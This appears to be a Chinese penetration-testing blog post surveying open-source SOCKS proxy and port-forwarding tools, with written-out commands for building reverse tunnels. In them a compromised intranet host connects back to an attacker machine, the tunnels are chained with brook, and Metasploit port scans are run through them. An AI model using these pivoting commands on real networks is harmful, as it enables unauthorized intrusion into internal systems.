• 开源网络代理工具


    goproxy

    功能还挺全,不过最尬的是 socks5 代理模块貌似是用端口转发实现的,所以用它的 socks5 去扫端口,全都是开放的。

    https://github.com/snail007/goproxy
    

    brook

    一款 go 写的代理程序,只支持正向代理,不过模式支持的非常多, 而且他的 relay 功能可以转发 socks5 代理。

    https://github.com/txthinking/brook
    

    frsocks

    go 写的 socks代理,支持反向 socks5 和正向 socks5

    https://github.com/3gstudent/Homework-of-Go
    http://www.4hou.com/technology/14486.html
    

    利用 brook 和 frsocks 实现 socks5 级联

    下面用 brookfrsocks 配一个多级 socks5 代理。

    首先在攻击机 (192.168.245.128) 监听,等待 反向 socks5 连过来

    ./frsocks_linux_amd64 -sockstype rsocks -listen 1111 -socks 127.0.0.1:2222
    

    ps: 反向 socks5 连接的端口为 1111 , 然后会在攻击机的 127.0.0.1:2222 起一个 socks5 服务,通过这个服务可以进入内网。

    然后在内网机器反弹 socks5 到 攻击机.

    ./frsocks_linux_amd64 -sockstype rsocks -connect 192.168.245.128:1111
    

    此时 socks5 代理完成,我们可以通过 攻击机 的 2222 端口使用 socks5 代理。

    下面在用 brook 试试转发 socks5 代理。

    在攻击机执行

    ./brook relay -l 0.0.0.0:33008 -r 127.0.0.1:2222
    

    0.0.0.0:33008 的通信都转发给 127.0.0.1:2222。 此时可以使用 192.168.245.12833008 端口作为内网反弹回来的 socks5 端口。

    msf 端口扫描测试一波

    3proxy

    俄罗斯人写的一个软件

    https://github.com/z3APA3A/3proxy
    

    编译

    cd 3proxy-0.8.12
    make -f Makefile.Linux
    

    socks代理

    编译好后,在 src 目录下执行 socks 程序可以进行 socks代理相关的操作。

    ./socks -i192.168.245.168 -p8088
    

    在本地的 192.168.245.168:8088 起一个 socks5 代理。

    ✘3proxy-0.8.12/src$ ./socks -i192.168.245.168 -p8088
    

    正向端口转发

    ./tcppm -i127.0.0.1 6666 192.168.245.168 6666
    

    监听 127.0.0.1:6666 , 把发往 127.0.0.1:6666 的连接转发到 192.168.245.168:6666

    lcx 开源版

    正向端口转发

    ./lcx -m 1 -p1 2333 -h2 192.20.15.130 -p2 21
    

    把本机的 2333 端口的请求转发到 192.20.15.130:21

    反向端口转发

    首先在公网主机监听,等待反弹

    ./lcx -m 2 -p1 5555 -p2 6666
    

    5555 端口等待 lcx slave 的连接

    然后在内网被攻击的机器,反弹内网端口到 公网主机

    ./lcx -m 3 -h1 192.20.15.130 -p1 21 -h2 192.168.245.128 -p2 5555
    

    可以看到 h2, p2 指向的是公网监听 slave 连接的端口 , h1, p1 是要连接的内网目标端口。

    此时访问 192.168.245.128:6666 就是 访问 192.20.15.130:21.

    ssocks

    https://sourceforge.net/projects/ssocks/
    

    功能比较强,主要各种 socks 代理。

    编译

    ./configure && make -j4
    

    编译好的东西在 src 目录下

    反向 socks 代理

    建议不同平台要另外编译, 否则可能出错。

    首先在公网机器监听,等待反弹

    ./rcsocks -l 2333 -p 1235 -v
    

    然后内网机器执行

    ./rssocks -s 192.168.245.128:1235
    

    ps: 192.168.245.128 为监听方

    然后就可以使用 192.168.245.1282333 端口 访问由 内网机器 (192.168.245.168) 提供的 socks 服务

    Msf扫描端口

    首先使用

    set Proxies socks5:127.0.0.1:5555 
    

    msf 使用代理。

    然后使用扫描器模块进行扫描即可,速度快

    use auxiliary/scanner/portscan/tcp
    
  • 相关阅读:
    微信小程序购物商城系统开发系列-工具篇
    如何用js获取浏览器URL中查询字符串的参数
    Vue.js——vue-resource全攻略
    多个 ng-app 中 Controllers & Services 之间的通信
    前端分页功能的实现以及原理
    纯css实现轮播图
    最好的Angular2表格控件
    2017年要学习的三个CSS新特性
    Kafka数据安全性、运行原理、存储
    Hbase与hive集成与对比
  • 原文地址:https://www.cnblogs.com/hac425/p/10089231.html
Copyright © 2020-2023  润新知